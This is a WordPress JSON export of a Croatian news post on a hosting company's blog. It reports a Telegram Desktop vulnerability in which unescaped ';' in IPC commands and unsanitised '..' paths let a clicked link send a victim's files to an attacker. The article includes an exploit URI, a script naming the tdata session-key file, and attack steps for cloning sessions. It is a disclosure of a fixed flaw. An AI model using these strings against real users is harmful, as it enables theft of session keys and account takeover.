{"id":183718,"date":"2026-10-09T10:54:03","date_gmt":"2026-10-09T08:54:03","guid":{"rendered":"https:\/\/prohoster.info\/blog\/news\/uyazvimost-v-telegram-desktop-pozvolyayushhaya-otpravit-proizvolnye-fajly-pri-klike-na-ssylku"},"modified":"2026-10-09T10:54:09","modified_gmt":"2026-10-09T08:54:09","slug":"telegram-desktop-vulnerability-allows-arbitrary-files-to-be-sent-when-a-link-is-clicked","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hr\/blog\/news\/telegram-desktop-vulnerability-allows-arbitrary-files-to-be-sent-when-a-link-is-clicked","title":{"rendered":"Ranjivost u Telegram Desktopu koja omogu\u0107ava slanje proizvoljnih datoteka klikom na link","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>Objavljena su detaljna obja\u0161njenja i na\u010din iskori\u0161tavanja ranjivosti (CVE-2026-107181) u Telegram Desktopu, slu\u017ebenom Telegram klijentu za radne povr\u0161ine. Problem je uzrokovan nedostatkom odgovaraju\u0107e obrade neescapeanih znakova razdjeljnika u IPC komandama, \u0161to je omogu\u0107ilo napada\u010du da prilikom klika na poslanu poveznicu organizira prijenos bilo kojih datoteka sa sustava \u017ertve, uklju\u010duju\u0107i datoteke sesijskih klju\u010deva koji se mogu koristiti za preuzimanje ra\u010duna u Telegramu. Ranjivost je otklonjena u izdanju Telegram Desktop 7.2.9.<\/p>\n<p>Kada se klikne na veze &#171;tg:\/\/&#187;, operativni sustav pokre\u0107e aplikaciju Telegram Desktop povezanu s ovim tipom veza. Ako je u sustavu ve\u0107 pokrenut drugi primjerak ove aplikacije, pokrenuti proces prenosi vezu putem soketa koriste\u0107i IPC su\u010delje. Problem je u tome \u0161to ako se simbol &#171;;&#187; navede me\u0111u parametrima veze (na primjer, &#171;tg:\/\/x?a=1;OPEN&#8230;&#187;), sadr\u017eaj se dijeli i dijelovi nakon simbola &#171;;&#187; obra\u0111uju se kao posebne komande.<\/p>\n<p>Za izvr\u0161enje napada koriste se komanda OPEN zajedno s URI shemom &#171;interpret:&#187;, namijenjenom za pokretanje skripti putem IPC-a, koje su kori\u0161tene za automatsko slanje novih izdanja u kanale. Skripta se sastoji od unaprijed definiranog lokalnog datoteke, koja navodi datoteku koja se \u0161alje u kanal i identifikator kanala. Putanja do skripti obra\u0111uje se u odnosu na servisni poddirektorij, ali zbog nedostatka \u010di\u0161\u0107enja &#171;..&#187; u putanjama datoteka, napada\u010d ima mogu\u0107nost pristupiti datotekama pohranjenim izvan osnovnog direktorija. Na primjer, mo\u017ee se prenijeti datoteka u svoju telegram grupu, nakon \u010dega se na tu datoteku mo\u017ee referencirati kao na skriptu, pripremaju\u0107i vezu tipa:<\/p>\n<p>   tg:\/\/x?a=1;OPEN:interpret:..\/..\/..\/Downloads\/Telegram%20Desktop\/instructions.txt<\/p>\n<p>Koraci provo\u0111enja napada:<\/p>\n<ul>\n<li class=\"l\"> Napada\u010d dodaje \u017ertvu u svoju grupu (uz zadane postavke, dodavanje ne zahtijeva potvrdu od dodanog) i \u0161alje u tu grupu tekstualnu datoteku koja sadr\u017ei kanal i put do skripte. Telegram \u0107e sa\u010duvati ovu datoteku u unaprijed definirani sustavni poddirektorij kada \u017ertva u\u0111e u grupu.\n<p>   kanal: 2005234537<br \/>\n   datoteka: tdata\/D877F783D5D3EF8Cs<\/p>\n<li class=\"l\">Napada\u010d \u0161alje \u017ertvi nevino izgledaju\u0107u poveznicu na vlastiti host (na primjer, &#171;https:\/\/coolsite.org&#187;), koja pri otvaranju kroz preusmjeravanje na <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/hr\/server\/dts-dronten\/\"   title=\"serveru\" data-wpil-keyword-link=\"linked\">serveru<\/a> napada\u010da zamjenjuje sa URI oblikom &#8216;tg:\/\/x?a=1;OPEN:interpret:&#8230;;OPEN:interpret:&#8230;.\n<li class=\"l\"> Kada se klikne na vezu, preglednik poziva obrtnika URI &#171;tg:\/\/&#187;, pokre\u0107e\u0107i navedeni niz komandi koji dovodi do slanja datoteka u kanal napada\u010da bez ikakvog obavje\u0161tenja i bez zahtjeva za potvrdom slanja.\n<li class=\"l\"> Nakon \u0161to dobije datoteke iz poddirektorija tdata s klju\u010devima za enkripciju i autorizaciju, ako korisnik nije postavio lokalnu lozinku, napada\u010d mo\u017ee klonirati sesiju korisnika na svom ure\u0111aju.\n<\/ul>\n<p>Izvor: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=66431\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u043c\u0435\u0442\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2026-107181) \u0432 Telegram Desktop, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435 Telegram \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043d\u0435\u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432-\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u0439 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 IPC, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u043f\u0440\u0438 \u043a\u043b\u0438\u043a\u0435 \u043d\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043b\u044e\u0431\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0436\u0435\u0440\u0442\u0432\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0444\u0430\u0439\u043b\u044b \u0441 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u043c\u0438 \u043a\u043b\u044e\u0447\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 Telegram. [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":10,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-183718","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u043c\u0435\u0442\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2026-107181) \u0432 Telegram Desktop, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435 Telegram \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Alexander Kovalev\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/hr\/blog\/news\/telegram-desktop-vulnerability-allows-arbitrary-files-to-be-sent-when-a-link-is-clicked\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.4\" \/>\n\t\t<meta property=\"og:locale\" content=\"hr_HR\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Telegram Desktop, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u0438 \u043a\u043b\u0438\u043a\u0435 \u043d\u0430 \u0441\u0441\u044b\u043b\u043a\u0443 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u043c\u0435\u0442\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2026-107181) \u0432 Telegram Desktop, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435 Telegram \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/hr\/blog\/news\/telegram-desktop-vulnerability-allows-arbitrary-files-to-be-sent-when-a-link-is-clicked\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2026-10-09T08:54:03+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2026-10-09T08:54:09+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Ranjivost u Telegram Desktopu koja omogu\u0107ava slanje proizvoljnih datoteka klikom na vezu | ProHoster","description":"Otkrivene su pojedinosti i metode iskori\u0161\u0107avanja ranjivosti (CVE-2026-107181) u Telegram Desktopu, zvani\u010dnom klijentu Telegrama za desktop sisteme.","canonical_url":"https:\/\/prohoster.info\/hr\/blog\/news\/telegram-desktop-vulnerability-allows-arbitrary-files-to-be-sent-when-a-link-is-clicked","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"hr_HR","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Telegram Desktop, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u0438 \u043a\u043b\u0438\u043a\u0435 \u043d\u0430 \u0441\u0441\u044b\u043b\u043a\u0443 | ProHoster","og:description":"\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u043c\u0435\u0442\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2026-107181) \u0432 Telegram Desktop, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435 Telegram \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.","og:url":"https:\/\/prohoster.info\/hr\/blog\/news\/telegram-desktop-vulnerability-allows-arbitrary-files-to-be-sent-when-a-link-is-clicked","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2026-10-09T08:54:03+00:00","article:modified_time":"2026-10-09T08:54:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":[],"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/posts\/183718","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/comments?post=183718"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/posts\/183718\/revisions"}],"predecessor-version":[{"id":183719,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/posts\/183718\/revisions\/183719"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/media?parent=183718"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/categories?post=183718"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/tags?post=183718"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}